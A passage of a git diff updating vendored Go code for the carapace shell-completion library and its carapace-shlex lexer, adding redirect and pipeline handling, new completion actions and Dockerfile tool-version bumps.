t[index-1].adjoins(token): + words[len(words)-1].Value += token.Value + words[len(words)-1].RawValue += token.RawValue + words[len(words)-1].State = token.State + default: + words = append(words, token) + } + } + return words +} + +func (t TokenSlice) FilterRedirects() TokenSlice { + filtered := make(TokenSlice, 0) + for index, token := range t { + switch token.Type { + case WORDBREAK_TOKEN: + if wordbreakType(token).IsRedirect() { + continue + } + } + + if index > 0 { + if wordbreakType(t[index-1]).IsRedirect() { + continue + } + } + + if index < len(t)-1 { + next := t[index+1] + if token.adjoins(next) { + if _, err := strconv.Atoi(token.RawValue); err == nil { + if wordbreakType(t[index+1]).IsRedirect() { + continue + } + } + } + + } + + filtered = append(filtered, token) + } + return filtered +} + +func (t TokenSlice) CurrentToken() (token Token) { + if len(t) > 0 { + token = t[len(t)-1] + } + return +} + +func (t TokenSlice) WordbreakPrefix() string { + found := false + prefix := "" + + last := t[len(t)-1] + switch last.State { + case QUOTING_STATE, QUOTING_ESCAPING_STATE, ESCAPING_QUOTED_STATE: + // Seems bash handles the last opening quote as wordbreak when in quoting state. + // So add value up to last opening quote to prefix. + found = true + prefix = last.Value[:last.WordbreakIndex] + } + + for i := len(t) - 2; i >= 0; i-- { + token := t[i] + if !token.adjoins(t[i+1]) { + break + } + + if token.Type == WORDBREAK_TOKEN { + found = true + } + + if found { + prefix = token.Value + prefix + } + } + return prefix +} diff --git a/vendor/github.com/rsteube/carapace-shlex/wordbreak.go b/vendor/github.com/rsteube/carapace-shlex/wordbreak.go new file mode 100644 index 0000000000..8bfcd0d620 --- /dev/null +++ b/vendor/github.com/rsteube/carapace-shlex/wordbreak.go @@ -0,0 +1,122 @@ +package shlex + +import "encoding/json" + +const BASH_WORDBREAKS = " \t\r\n" + `"'><=;|&(:` + +type WordbreakType int + +const ( + WORDBREAK_UNKNOWN WordbreakType = iota + // https://www.gnu.org/software/bash/manual/html_node/Redirections.html + WORDBREAK_REDIRECT_INPUT + WORDBREAK_REDIRECT_OUTPUT + WORDBREAK_REDIRECT_OUTPUT_APPEND + WORDBREAK_REDIRECT_OUTPUT_BOTH + WORDBREAK_REDIRECT_OUTPUT_BOTH_APPEND + WORDBREAK_REDIRECT_INPUT_STRING + WORDBREAK_REDIRECT_INPUT_DUPLICATE + WORDBREAK_REDIRECT_INPUT_OUTPUT + // https://www.gnu.org/software/bash/manual/html_node/Pipelines.html + WORDBREAK_PIPE + WORDBREAK_PIPE_WITH_STDERR + // https://www.gnu.org/software/bash/manual/html_node/Lists.html) + WORDBREAK_LIST_ASYNC + WORDBREAK_LIST_SEQUENTIAL + WORDBREAK_LIST_AND + WORDBREAK_LIST_OR + // COMP_WORDBREAKS + WORDBREAK_CUSTOM +) + +var wordbreakTypes = map[WordbreakType]string{ + WORDBREAK_UNKNOWN: "WORDBREAK_UNKNOWN", + WORDBREAK_REDIRECT_INPUT: "WORDBREAK_REDIRECT_INPUT", + WORDBREAK_REDIRECT_OUTPUT: "WORDBREAK_REDIRECT_OUTPUT", + WORDBREAK_REDIRECT_OUTPUT_APPEND: "WORDBREAK_REDIRECT_OUTPUT_APPEND", + WORDBREAK_REDIRECT_OUTPUT_BOTH: "WORDBREAK_REDIRECT_OUTPUT_BOTH", + WORDBREAK_REDIRECT_OUTPUT_BOTH_APPEND: "WORDBREAK_REDIRECT_OUTPUT_BOTH_APPEND", + WORDBREAK_REDIRECT_INPUT_STRING: "WORDBREAK_REDIRECT_INPUT_STRING", + WORDBREAK_REDIRECT_INPUT_DUPLICATE: "WORDBREAK_REDIRECT_INPUT_DUPLICATE", + WORDBREAK_REDIRECT_INPUT_OUTPUT: "WORDBREAK_REDIRECT_INPUT_OUTPUT", + WORDBREAK_PIPE: "WORDBREAK_PIPE", + WORDBREAK_PIPE_WITH_STDERR: "WORDBREAK_PIPE_WITH_STDERR", + WORDBREAK_LIST_ASYNC: "WORDBREAK_LIST_ASYNC", + WORDBREAK_LIST_SEQUENTIAL: "WORDBREAK_LIST_SEQUENTIAL", + WORDBREAK_LIST_AND: "WORDBREAK_LIST_AND", + WORDBREAK_LIST_OR: "WORDBREAK_LIST_OR", + WORDBREAK_CUSTOM: "WORDBREAK_CUSTOM", +} + +func (w WordbreakType) MarshalJSON() ([]byte, error) { + return json.Marshal(wordbreakTypes[w]) +} + +func (w WordbreakType) IsPipelineDelimiter() bool { + switch w { + case + WORDBREAK_PIPE, + WORDBREAK_PIPE_WITH_STDERR, + WORDBREAK_LIST_ASYNC, + WORDBREAK_LIST_SEQUENTIAL, + WORDBREAK_LIST_AND, + WORDBREAK_LIST_OR: + return true + default: + return false + } +} + +func (w WordbreakType) IsRedirect() bool { + switch w { + case + WORDBREAK_REDIRECT_INPUT, + WORDBREAK_REDIRECT_OUTPUT, + WORDBREAK_REDIRECT_OUTPUT_APPEND, + WORDBREAK_REDIRECT_OUTPUT_BOTH, + WORDBREAK_REDIRECT_OUTPUT_BOTH_APPEND, + WORDBREAK_REDIRECT_INPUT_STRING, + WORDBREAK_REDIRECT_INPUT_DUPLICATE, + WORDBREAK_REDIRECT_INPUT_OUTPUT: + return true + default: + return false + } + +} + +func wordbreakType(t Token) WordbreakType { + switch t.RawValue { + case "<": + return WORDBREAK_REDIRECT_INPUT + case ">": + return WORDBREAK_REDIRECT_OUTPUT + case ">>": + return WORDBREAK_REDIRECT_OUTPUT_APPEND + case "&>", ">&": + return WORDBREAK_REDIRECT_OUTPUT_BOTH + case "&>>": + return WORDBREAK_REDIRECT_OUTPUT_BOTH_APPEND + case "<<<": + return WORDBREAK_REDIRECT_INPUT_STRING + case "<&": + return WORDBREAK_REDIRECT_INPUT_DUPLICATE + case "<>": + return WORDBREAK_REDIRECT_INPUT_OUTPUT + case "|": + return WORDBREAK_PIPE + case "|&": + return WORDBREAK_PIPE_WITH_STDERR + case "&": + return WORDBREAK_LIST_ASYNC + case ";": + return WORDBREAK_LIST_SEQUENTIAL + case "&&": + return WORDBREAK_LIST_AND + case "||": + return WORDBREAK_LIST_OR + default: + // TODO check COMP_WORDBREAKS -> WORDBREAK_OTHER + return WORDBREAK_UNKNOWN + } +} diff --git a/vendor/github.com/rsteube/carapace/.gitignore b/vendor/github.com/rsteube/carapace/.gitignore index 39959f6a91..592ae4f2d8 100644 --- a/vendor/github.com/rsteube/carapace/.gitignore +++ b/vendor/github.com/rsteube/carapace/.gitignore @@ -1,4 +1,9 @@ -.vscode -example/example caraparse/caraparse +.cover docs/book +example/cmd/_test_files/*.txt +example/example +example-nonposix/example-nonposix +integration.cov +unit.cov +.vscode diff --git a/vendor/github.com/rsteube/carapace/.goreleaser.yml b/vendor/github.com/rsteube/carapace/.goreleaser.yml index 1a57ff365f..5891c22a22 100644 --- a/vendor/github.com/rsteube/carapace/.goreleaser.yml +++ b/vendor/github.com/rsteube/carapace/.goreleaser.yml @@ -21,13 +21,10 @@ builds: main: ./example-nonposix binary: example-nonposix archives: - - replacements: - darwin: Darwin - linux: Linux - windows: Windows - 386: i386 - amd64: x86_64 - name_template: "example_{{ .Version }}_{{ .Os }}_{{ .Arch }}" + - name_template: 'example_{{ .Os }}_{{ .Arch }}{{ if .Arm }}v{{ .Arm }}{{ end }}' + format_overrides: + - goos: windows + format: zip checksum: name_template: 'checksums.txt' snapshot: @@ -38,3 +35,5 @@ changelog: exclude: - '^docs:' - '^test:' +release: + prerelease: auto \ No newline at end of file diff --git a/vendor/github.com/rsteube/carapace/Dockerfile b/vendor/github.com/rsteube/carapace/Dockerfile index 91698fa610..15d52548af 100644 --- a/vendor/github.com/rsteube/carapace/Dockerfile +++ b/vendor/github.com/rsteube/carapace/Dockerfile @@ -1,9 +1,9 @@ -FROM golang:1.20-bullseye as base +FROM golang:bookworm as base LABEL org.opencontainers.image.source https://github.com/rsteube/carapace USER root FROM base as bat -ARG version=0.22.1 +ARG version=0.24.0 RUN curl -L https://github.com/sharkdp/bat/releases/download/v${version}/bat-v${version}-x86_64-unknown-linux-gnu.tar.gz \ | tar -C /usr/local/bin/ --strip-components=1 -xvz bat-v${version}-x86_64-unknown-linux-gnu/bat \ && chmod +x /usr/local/bin/bat @@ -14,12 +14,12 @@ RUN git clone --recursive https://github.com/akinomyoga/ble.sh.git \ && make -C ble.sh FROM base as elvish -ARG version=0.18.0 +ARG version=0.19.2 RUN curl https://dl.elv.sh/linux-amd64/elvish-v${version}.tar.gz | tar -xvz \ && mv elvish-* /usr/local/bin/elvish FROM base as goreleaser -ARG version=1.15.1 +ARG version=1.21.2 RUN curl -L https://github.com/goreleaser/goreleaser/releases/download/v${version}/goreleaser_Linux_x86_64.tar.gz | tar -xvz goreleaser \ && mv goreleaser /usr/local/bin/goreleaser @@ -33,12 +33,12 @@ FROM rsteube/ion-poc as ion-poc # && sudo make update-shells prefix=/usr FROM base as nushell -ARG version=0.75.0 +ARG version=0.85.0 RUN curl -L https://github.com/nushell/nushell/releases/download/${version}/nu-${version}-x86_64-unknown-linux-gnu.tar.gz | tar -xvz \ && mv nu-${version}-x86_64-unknown-linux-gnu/nu* /usr/local/bin FROM base as oil -ARG version=0.14.0 +ARG version=0.18.0 RUN apt-get update && apt-get install -y libreadline-dev RUN curl https://www.oilshell.org/download/oil-${version}.tar.gz | tar -xvz \ && cd oil-*/ \ @@ -47,38 +47,38 @@ RUN curl https://www.oilshell.org/download/oil-${version}.tar.gz | tar -xvz \ && ./install FROM base as starship -ARG version=1.12.0 +ARG version=1.16.0 RUN wget -qO- "https://github.com/starship/starship/releases/download/v${version}/starship-x86_64-unknown-linux-gnu.tar.gz" | tar -xvz starship \ && mv starship /usr/local/bin/ FROM base as vivid -ARG version=0.8.0 +ARG version=0.9.0 RUN wget -qO- "https://github.com/sharkdp/vivid/releases/download/v${version}/vivid-v${version}-x86_64-unknown-linux-gnu.tar.gz" | tar -xvz vivid-v${version}-x86_64-unknown-linux-gnu/vivid \ && mv vivid-v${version}-x86_64-unknown-linux-gnu/vivid /usr/local/bin/ FROM base as mdbook -ARG version=0.4.25 -RUN curl -L "https://github.com/rust-lang/mdBook/releases/download/v${version}/mdbook-v${version}-x86_64-unknown-linux-gnu.tar.gz" | tar -xvz mdbook \ - && curl -L "https://github.com/Michael-F-Bryan/mdbook-linkcheck/releases/download/v0.7.0/mdbook-linkcheck-v0.7.0-x86_64-unknown-linux-gnu.tar.gz" | tar -xvz mdbook-linkcheck \ - && mv mdbook* /usr/local/bin/ +ARG version=0.4.35 +RUN apt-get update && apt-get install -y unzip \ + && curl -L "https://github.com/rust-lang/mdBook/releases/download/v${version}/mdbook-v${version}-x86_64-unknown-linux-gnu.tar.gz" | tar -xvz mdbook \ + && wget -q "https://github.com/Michael-F-Bryan/mdbook-linkcheck/releases/download/v0.7.7/mdbook-linkcheck.x86_64-unknown-linux-gnu.zip" \ + && unzip mdbook-linkcheck.x86_64-unknown-linux-gnu.zip mdbook-linkcheck \ + && chmod +x mdbook-linkcheck \ + && mv mdbook mdbook-linkcheck /usr/local/bin/ FROM base -RUN apt-get update && apt-get install -y libicu67 -RUN wget -q https://github.com/PowerShell/PowerShell/releases/download/v7.3.0/powershell_7.3.0-1.deb_amd64.deb\ - && dpkg -i powershell_7.3.0-1.deb_amd64.deb \ - && rm powershell_7.3.0-1.deb_amd64.deb +RUN apt-get update && apt-get install -y libicu72 +RUN wget -q https://github.com/PowerShell/PowerShell/releases/download/v7.3.8/powershell_7.3.8-1.deb_amd64.deb\ + && dpkg -i powershell_7.3.8-1.deb_amd64.deb \ + && rm powershell_7.3.8-1.deb_amd64.deb RUN apt-get update \ && apt-get install -y fish \ elvish \ - python3-pip \ + expect \ shellcheck \ tcsh \ - zsh \ - expect - -RUN pip3 install --no-cache-dir --disable-pip-version-check xonsh prompt_toolkit \ - && ln -s $(which xonsh) /usr/bin/xonsh + xonsh \ + zsh RUN pwsh -Command "Install-Module PSScriptAnalyzer -Scope AllUsers -Force" diff --git a/vendor/github.com/rsteube/carapace/README.md b/vendor/github.com/rsteube/carapace/README.md index 8344123bbe..22bf7a0833 100644 --- a/vendor/github.com/rsteube/carapace/README.md +++ b/vendor/github.com/rsteube/carapace/README.md @@ -47,9 +47,12 @@ See [carapace-bin](https://github.com/rsteube/carapace-bin) for examples. - [carapace-bin](https://github.com/rsteube/carapace-bin) multi-shell multi-command argument completer - [carapace-bridge](https://github.com/rsteube/carapace-bridge) completion bridge - [carapace-pflag](https://github.com/rsteube/carapace-pflag) Drop-in replacement for spf13/pflag with support for non-posix variants +- [carapace-shlex](https://github.com/rsteube/carapace-shlex) simple shell lexer - [carapace-spec](https://github.com/rsteube/carapace-spec) define simple completions using a spec file - [carapace-spec-clap](https://github.com/rsteube/carapace-spec-clap) spec generation for clap-rs/clap +- [carapace-spec-kingpin](https://github.com/rsteube/carapace-spec-kingpin) spec generation for alecthomas/kingpin - [carapace-spec-kong](https://github.com/rsteube/carapace-spec-kong) spec generation for alecthomas/kong +- [carapace-spec-man](https://github.com/rsteube/carapace-spec-man) spec generation for manpages - [carapace-spec-urfavecli](https://github.com/rsteube/carapace-spec-urfavecli) spec generation for urfave/cli [cobra]:https://github.com/spf13/cobra diff --git a/vendor/github.com/rsteube/carapace/action.go b/vendor/github.com/rsteube/carapace/action.go index 4ad418d106..eba6722614 100644 --- a/vendor/github.com/rsteube/carapace/action.go +++ b/vendor/github.com/rsteube/carapace/action.go @@ -3,13 +3,18 @@ package carapace import ( "fmt" "os" + "regexp" "runtime" + "strings" "time" + shlex "github.com/rsteube/carapace-shlex" "github.com/rsteube/carapace/internal/cache" "github.com/rsteube/carapace/internal/common" pkgcache "github.com/rsteube/carapace/pkg/cache" + "github.com/rsteube/carapace/pkg/match" "github.com/rsteube/carapace/pkg/style" + pkgtraverse "github.com/rsteube/carapace/pkg/traverse" ) // Action indicates how to complete a flag or positional argument. @@ -52,6 +57,57 @@ func (a Action) Cache(timeout time.Duration, keys ...pkgcache.Key) Action { return a } +// Chdir changes the current working directory to the named directory for the duration of invocation. +func (a Action) Chdir(dir string) Action { + return ActionCallback(func(c Context) Action { + abs, err := c.Abs(dir) + if err != nil { + return ActionMessage(err.Error()) + } + if info, err := os.Stat(abs); err != nil { + return ActionMessage(err.Error()) + } else if !info.IsDir() { + return ActionMessage("not a directory: %v", abs) + } + c.Dir = abs + return a.Invoke(c).ToA() + }) +} + +// ChdirF is like Chdir but uses a function. +func (a Action) ChdirF(f func(tc pkgtraverse.Context) (string, error)) Action { + return ActionCallback(func(c Context) Action { + newDir, err := f(c) + if err != nil { + return ActionMessage(err.Error()) + } + return a.Chdir(newDir) + }) +} + +// Filter filters given values. +// +// carapace.ActionValues("A", "B", "C").Filter("B") // ["A", "C"] +func (a Action) Filter(values ...string) Action { + return ActionCallback(func(c Context) Action { + return a.Invoke(c).Filter(values...).ToA() + }) +} + +// FilterArgs filters Context.Args. +func (a Action) FilterArgs() Action { + return ActionCallback(func(c Context) Action { + return a.Filter(c.Args...) + }) +} + +// FilterArgs filters Context.Parts. +func (a Action) FilterParts() Action { + return ActionCallback(func(c Context) Action { + return a.Filter(c.Parts...) + }) +} + // Invoke executes the callback of an action if it exists (supports nesting). func (a Action) Invoke(c Context) InvokedAction { if c.Args == nil { @@ -72,6 +128,95 @@ func (a Action) Invoke(c Context) InvokedAction { return InvokedAction{a} } +// List wraps the Action in an ActionMultiParts with given divider. +func (a Action) List(divider string) Action { + return ActionMultiParts(divider, func(c Context) Action { + return a.Invoke(c).ToA().NoSpace() + }) +} + +// MultiParts splits values of an Action by given dividers and completes each segment separately. +func (a Action) MultiParts(dividers ...string) Action { + return ActionCallback(func(c Context) Action { + return a.Invoke(c).ToMultiPartsA(dividers...) + }) +} + +// MultiPartsP is like MultiParts but with placeholders. +func (a Action) MultiPartsP(delimiter string, pattern string, f func(placeholder string, matches map[string]string) Action) Action { + return ActionCallback(func(c Context) Action { + invoked := a.Invoke(c) + + return ActionMultiParts(delimiter, func(c Context) Action { + rPlaceholder := regexp.MustCompile(pattern) + matchedData := make(map[string]string) + matchedSegments := make(map[string]common.RawValue) + staticMatches := make(map[int]bool) + + path: + for index, value := range invoked.rawValues { + segments := strings.Split(value.Value, delimiter) + segment: + for index, segment := range segments { + if index > len(c.Parts)-1 { + break segment + } else { + if segment != c.Parts[index] { + if !rPlaceholder.MatchString(segment) { + continue path // skip this path as it doesn't match and is not a placeholder + } else { + matchedData[segment] = c.Parts[index] // store entered data for placeholder (overwrite if duplicate) + } + } else { + staticMatches[index] = true // static segment matches so placeholders should be ignored for this index + } + } + } + + if len(segments) < len(c.Parts)+1 { + continue path // skip path as it is shorter than what was entered (must be after staticMatches being set) + } + + for key := range staticMatches { + if segments[key] != c.Parts[key] { + continue path // skip this path as it has a placeholder where a static segment was matched + } + } + + // store segment as path matched so far and this is currently being completed + if len(segments) == (len(c.Parts) + 1) { + matchedSegments[segments[len(c.Parts)]] = invoked.rawValues[index] + } else { + matchedSegments[segments[len(c.Parts)]+delimiter] = common.RawValue{} + } + } + + actions := make([]Action, 0, len(matchedSegments)) + for key, value := range matchedSegments { + if trimmedKey := strings.TrimSuffix(key, delimiter); rPlaceholder.MatchString(trimmedKey) { + suffix := "" + if strings.HasSuffix(key, delimiter) { + suffix = delimiter + } + actions = append(actions, ActionCallback(func(c Context) Action { + invoked := f(trimmedKey, matchedData).Invoke(c).Suffix(suffix) + for index := range invoked.rawValues { + invoked.rawValues[index].Display += suffix + } + return invoked.ToA() + })) + } else { + actions = append(actions, ActionStyledValuesDescribed(key, value.Description, value.Style)) // TODO tag,.. + } + } + + a := Batch(actions...).ToA() + a.meta.Merge(invoked.meta) + return a + }) + }) +} + // NoSpace disables space suffix for given characters (or all if none are given). func (a Action) NoSpace(suffixes ...rune) Action { return ActionCallback(func(c Context) Action { @@ -83,20 +228,104 @@ func (a Action) NoSpace(suffixes ...rune) Action { }) } -// Usage sets the usage. -func (a Action) Usage(usage string, args ...interface{}) Action { - return a.UsageF(func() string { - return fmt.Sprintf(usage, args...) +// Prefix adds a prefix to values (only the ones inserted, not the display values). +// +// carapace.ActionValues("melon", "drop", "fall").Prefix("water") +func (a Action) Prefix(prefix string) Action { + return ActionCallback(func(c Context) Action { + switch { + case match.HasPrefix(c.Value, prefix): + c.Value = match.TrimPrefix(c.Value, prefix) + case match.HasPrefix(prefix, c.Value): + c.Value = "" + default: + return ActionValues() + } + return a.Invoke(c).Prefix(prefix).ToA() }) } -// Usage sets the usage using a function. -func (a Action) UsageF(f func() string) Action { +// Retain retains given values. +// +// carapace.ActionValues("A", "B", "C").Retain("A", "C") // ["A", "C"] +func (a Action) Retain(values ...string) Action { return ActionCallback(func(c Context) Action { - if usage := f(); usage != "" { - a.meta.Usage = usage + return a.Invoke(c).Retain(values...).ToA() + }) +} + +// Shift shifts positional arguments left `n` times. +func (a Action) Shift(n int) Action { + return ActionCallback(func(c Context) Action { + switch { + case n < 0: + return ActionMessage("invalid argument [ActionShift]: %v", n) + case len(c.Args) < n: + c.Args = []string{} + default: + c.Args = c.Args[n:] } - return a + return a.Invoke(c).ToA() + }) +} + +// Split splits `Context.Value` lexicographically and replaces `Context.Args` with the tokens. +func (a Action) Split() Action { + return a.split(false) +} + +// SplitP is like Split but supports pipelines. +func (a Action) SplitP() Action { + return a.split(true) +} + +func (a Action) split(pipelines bool) Action { + return ActionCallback(func(c Context) Action { + tokens, err := shlex.Split(c.Value) + if err != nil { + return ActionMessage(err.Error()) + } + + var context Context + if pipelines { + tokens = tokens.CurrentPipeline() + context = NewContext(tokens.FilterRedirects().Words().Strings()...) + } else { + context = NewContext(tokens.Words().Strings()...) + } + + originalValue := c.Value + prefix := originalValue[:tokens.Words().CurrentToken().Index] + c.Args = context.Args + c.Parts = []string{} + c.Value = context.Value + + if pipelines { // support redirects + if len(tokens) > 1 && tokens[len(tokens)-2].WordbreakType.IsRedirect() { + LOG.Printf("completing files for redirect arg %#v", tokens.Words().CurrentToken().Value) + prefix = originalValue[:tokens.CurrentToken().Index] + c.Value = tokens.CurrentToken().Value + a = ActionFiles() + } + } + + invoked := a.Invoke(c) + for index, value := range invoked.rawValues { + if !invoked.meta.Nospace.Matches(value.Value) || strings.Contains(value.Value, " ") { // TODO special characters + switch tokens.CurrentToken().State { + case shlex.QUOTING_ESCAPING_STATE: + invoked.rawValues[index].Value = fmt.Sprintf(`"%v"`, strings.ReplaceAll(value.Value, `"`, `\"`)) + case shlex.QUOTING_STATE: + invoked.rawValues[index].Value = fmt.Sprintf(`'%v'`, strings.ReplaceAll(value.Value, `'`, `'"'"'`)) + default: + invoked.rawValues[index].Value = strings.Replace(value.Value, ` `, `\ `, -1) + } + } + if !invoked.meta.Nospace.Matches(value.Value) { + invoked.rawValues[index].Value += " " + } + } + return invoked.Prefix(prefix).ToA().NoSpace() }) } @@ -110,19 +339,6 @@ func (a Action) Style(s string) Action { }) } -// Style sets the style using a reference. -// -// ActionValues("value").StyleR(&style.Carapace.Value) -// ActionValues("description").StyleR(&style.Carapace.Value) -func (a Action) StyleR(s *string) Action { - return ActionCallback(func(c Context) Action { - if s != nil { - return a.Style(*s) - } - return a - }) -} - // Style sets the style using a function. // // ActionValues("dir/", "test.txt").StyleF(style.ForPathExt) @@ -137,44 +353,25 @@ func (a Action) StyleF(f func(s string, sc style.Context) string) Action { }) } -// Tag sets the tag. -// -// ActionValues("192.168.1.1", "127.0.0.1").Tag("interfaces"). -func (a Action) Tag(tag string) Action { - return a.TagF(func(value string) string { - return tag - }) -} - -// Tag sets the tag using a function. +// Style sets the style using a reference. // -// ActionValues("192.168.1.1", "127.0.0.1").TagF(func(value string) string { -// return "interfaces" -// }) -func (a Action) TagF(f func(value string) string) Action { +// ActionValues("value").StyleR(&style.Carapace.Value) +// ActionValues("description").StyleR(&style.Carapace.Value) +func (a Action) StyleR(s *string) Action { return ActionCallback(func(c Context) Action { - invoked := a.Invoke(c) - for index, v := range invoked.rawValues { - invoked.rawValues[index].Tag = f(v.Value) + if s != nil { + return a.Style(*s) } - return invoked.ToA() + return a }) } -// Chdir changes the current working directory to the named directory for the duration of invocation. -func (a Action) Chdir(dir string) Action { +// Suffix adds a suffx to values (only the ones inserted, not the display values). +// +// carapace.ActionValues("apple", "melon", "orange").Suffix("juice") +func (a Action) Suffix(suffix string) Action { return ActionCallback(func(c Context) Action { - abs, err := c.Abs(dir) - if err != nil { - return ActionMessage(err.Error()) - } - if info, err := os.Stat(abs); err != nil { - return ActionMessage(err.Error()) - } else if !info.IsDir() { - return ActionMessage("not a directory: %v", abs) - } - c.Dir = abs - return a.Invoke(c).ToA() + return a.Invoke(c).Suffix(suffix).ToA() }) } @@ -189,47 +386,27 @@ func (a Action) Suppress(expr ...string) Action { }) } -// MultiParts splits values of an Action by given dividers and completes each segment separately. -func (a Action) MultiParts(dividers ...string) Action { - return ActionCallback(func(c Context) Action { - return a.Invoke(c).ToMultiPartsA(dividers...) - }) -} - -// List wraps the Action in an ActionMultiParts with given divider. -func (a Action) List(divider string) Action { - return ActionMultiParts(divider, func(c Context) Action { - return a.Invoke(c).ToA().NoSpace() - }) -} - -// UniqueList wraps the Action in an ActionMultiParts with given divider. -func (a Action) UniqueList(divider string) Action { - return ActionMultiParts(divider, func(c Context) Action { - noSpace := make([]rune, 0) - if runes := []rune(divider); len(runes) > 0 { - noSpace = append(noSpace, runes[len(runes)-1]) - } - noSpace = append(noSpace, []rune(a.meta.Nospace.String())...) - return a.Invoke(c).Filter(c.Parts).ToA().NoSpace([]rune(noSpace)...) - }) -} - -// Prefix adds a prefix to values (only the ones inserted, not the display values). +// Tag sets the tag. // -// carapace.ActionValues("melon", "drop", "fall").Prefix("water") -func (a Action) Prefix(prefix string) Action { - return ActionCallback(func(c Context) Action { - return a.Invoke(c).Prefix(prefix).ToA() +// ActionValues("192.168.1.1", "127.0.0.1").Tag("interfaces"). +func (a Action) Tag(tag string) Action { + return a.TagF(func(value string) string { + return tag }) } -// Suffix adds a suffx to values (only the ones inserted, not the display values). +// Tag sets the tag using a function. // -// carapace.ActionValues("apple", "melon", "orange").Suffix("juice") -func (a Action) Suffix(suffix string) Action { +// ActionValues("192.168.1.1", "127.0.0.1").TagF(func(value string) string { +// return "interfaces" +// }) +func (a Action) TagF(f func(s string) string) Action { return ActionCallback(func(c Context) Action { - return a.Invoke(c).Suffix(suffix).ToA() + invoked := a.Invoke(c) + for index, v := range invoked.rawValues { + invoked.rawValues[index].Tag = f(v.Value) + } + return invoked.ToA() }) } @@ -257,3 +434,37 @@ func (a Action) Timeout(d time.Duration, alternative Action) Action { return result.ToA() }) } + +// UniqueList wraps the Action in an ActionMultiParts with given divider. +func (a Action) UniqueList(divider string) Action { + return ActionMultiParts(divider, func(c Context) Action { + return a.FilterParts().NoSpace() + }) +} + +// UniqueListF is like UniqueList but uses a function to transform values before filtering. +func (a Action) UniqueListF(divider string, f func(s string) string) Action { + return ActionMultiParts(divider, func(c Context) Action { + for i := range c.Parts { + c.Parts[i] = f(c.Parts[i]) + } + return a.Filter(c.Parts...).NoSpace() + }) +} + +// Usage sets the usage. +func (a Action) Usage(usage string, args ...interface{}) Action { + return a.UsageF(func() string { + return fmt.Sprintf(usage, args...) + }) +} + +// Usage sets the usage using a function. +func (a Action) UsageF(f func() string) Action { + return ActionCallback(func(c Context) Action { + if usage := f(); usage != "" { + a.meta.Usage = usage + } + return a + }) +} diff --git a/vendor/github.com/rsteube/carapace/carapace.go b/vendor/github.com/rsteube/carapace/carapace.go index 6573567f18..900691b89a 100644 --- a/vendor/github.com/rsteube/carapace/carapace.go +++ b/vendor/github.com/rsteube/carapace/carapace.go @@ -57,7 +57,7 @@ func (c Carapace) PositionalCompletion(action ...Action) { // PositionalAnyCompletion defines completion for any positional arguments not already defined. func (c Carapace) PositionalAnyCompletion(action Action) { - storage.get(c.cmd).positionalAny = action + storage.get(c.cmd).positionalAny = &action } // DashCompletion defines completion for positional arguments after dash (`--`) using a list of Actions. @@ -67,12 +67,16 @@ func (c Carapace) DashCompletion(action ...Action) { // DashAnyCompletion defines completion for any positional arguments after dash (`--`) not already defined. func (c Carapace) DashAnyCompletion(action Action) { - storage.get(c.cmd).dashAny = action + storage.get(c.cmd).dashAny = &action } // FlagCompletion defines completion for flags using a map consisting of name and Action. func (c Carapace) FlagCompletion(actions ActionMap) { - if e := storage.get(c.cmd); e.flag == nil { + e := storage.get(c.cmd) + e.flagMutex.Lock() + defer e.flagMutex.Unlock() + + if e.flag == nil { e.flag = actions } else { for name, action := range actions { @@ -81,18 +85,30 @@ func (c Carapace) FlagCompletion(actions ActionMap) { } } +const annotation_standalone = "carapace_standalone" + // Standalone prevents cobra defaults interfering with standalone mode (e.g. implicit help command). func (c Carapace) Standalone() { c.cmd.CompletionOptions = cobra.CompletionOptions{ DisableDefaultCmd: true, } - // TODO probably needs to be done for each subcommand - // TODO still needed? - if c.cmd.Flag("help") != nil { - c.cmd.Flags().Bool("help", false, "skip") - c.cmd.Flag("help").Hidden = true + + if c.cmd.Annotations == nil { + c.cmd.Annotations = make(map[string]string) } - c.cmd.SetHelpCommand(&cobra.Command{Hidden: true}) + c.cmd.Annotations[annotation_standalone] = "true" + + c.PreRun(func(cmd *cobra.Command, args []string) { + if f := cmd.Flag("help"); f == nil { + cmd.Flags().Bool("help", false, "") + cmd.Flag("help").Hidden = true + } else if f.Annotations != nil { + if _, ok := f.Annotations[cobra.FlagSetByCobraAnnotation]; ok { + cmd.Flag("help").Hidden = true + } + } + }) + c.cmd.SetHelpCommand(&cobra.Command{Use: "_carapace_help", Hidden: true, Deprecated: "fake help command to prevent default"}) } // Snippet creates completion script for given shell. diff --git a/vendor/github.com/rsteube/carapace/command.go b/vendor/github.com/rsteube/carapace/command.go index 6de00c4c84..c6c1cc2952 100644 --- a/vendor/github.com/rsteube/carapace/command.go +++ b/vendor/github.com/rsteube/carapace/command.go @@ -6,7 +6,6 @@ import ( "os" "strings" - "github.com/rsteube/carapace/internal/uid" "github.com/rsteube/carapace/pkg/style" "github.com/spf13/cobra" ) @@ -22,6 +21,7 @@ func addCompletionCommand(cmd *cobra.Command) { Use: "_carapace", Hidden: true, Run: func(cmd *cobra.Command, args []string) { + LOG.Print(strings.Repeat("-", 80)) LOG.Printf("%#v", os.Args) if len(args) > 2 && strings.HasPrefix(args[2], "_") { @@ -32,10 +32,16 @@ func addCompletionCommand(cmd *cobra.Command) { panic("missing parent command") // this should never happen } - if s, err := complete(cmd.Parent(), args); err != nil { - fmt.Fprintln(io.MultiWriter(cmd.OutOrStderr(), LOG.Writer()), err.Error()) + parentCmd := cmd.Parent() + if parentCmd.Annotations[annotation_standalone] == "true" { + // TODO how to handle an explicit `_carapace` command? + parentCmd.RemoveCommand(cmd) // don't complete local `_carapace` in standalone mode + } + + if s, err := complete(parentCmd, args); err != nil { + fmt.Fprintln(io.MultiWriter(parentCmd.OutOrStderr(), LOG.Writer()), err.Error()) } else { - fmt.Fprintln(io.MultiWriter(cmd.OutOrStdout(), LOG.Writer()), s) + fmt.Fprintln(io.MultiWriter(parentCmd.OutOrStdout(), LOG.Writer()), s) } }, FParseErrWhitelist: cobra.FParseErrWhitelist{ @@ -66,15 +72,9 @@ func addCompletionCommand(cmd *cobra.Command) { ) Carapace{carapaceCmd}.PositionalAnyCompletion( ActionCallback(func(c Context) Action { - args := []string{"_carapace", "export", ""} - args = append(args, c.Args[2:]...) - args = append(args, c.Value) - return ActionExecCommand(uid.Executable(), args...)(func(output []byte) Action { - if string(output) == "" { - return ActionValues() - } - return ActionImport(output) - }) + cmd.RemoveCommand(carapaceCmd) + action, _ := traverse(cmd, append(c.Args[2:], c.Value)) + return action }), ) diff --git a/vendor/github.com/rsteube/carapace/compat.go b/vendor/github.com/rsteube/carapace/compat.go index 69a02fa9a8..3568c407ab 100644 --- a/vendor/github.com/rsteube/carapace/compat.go +++ 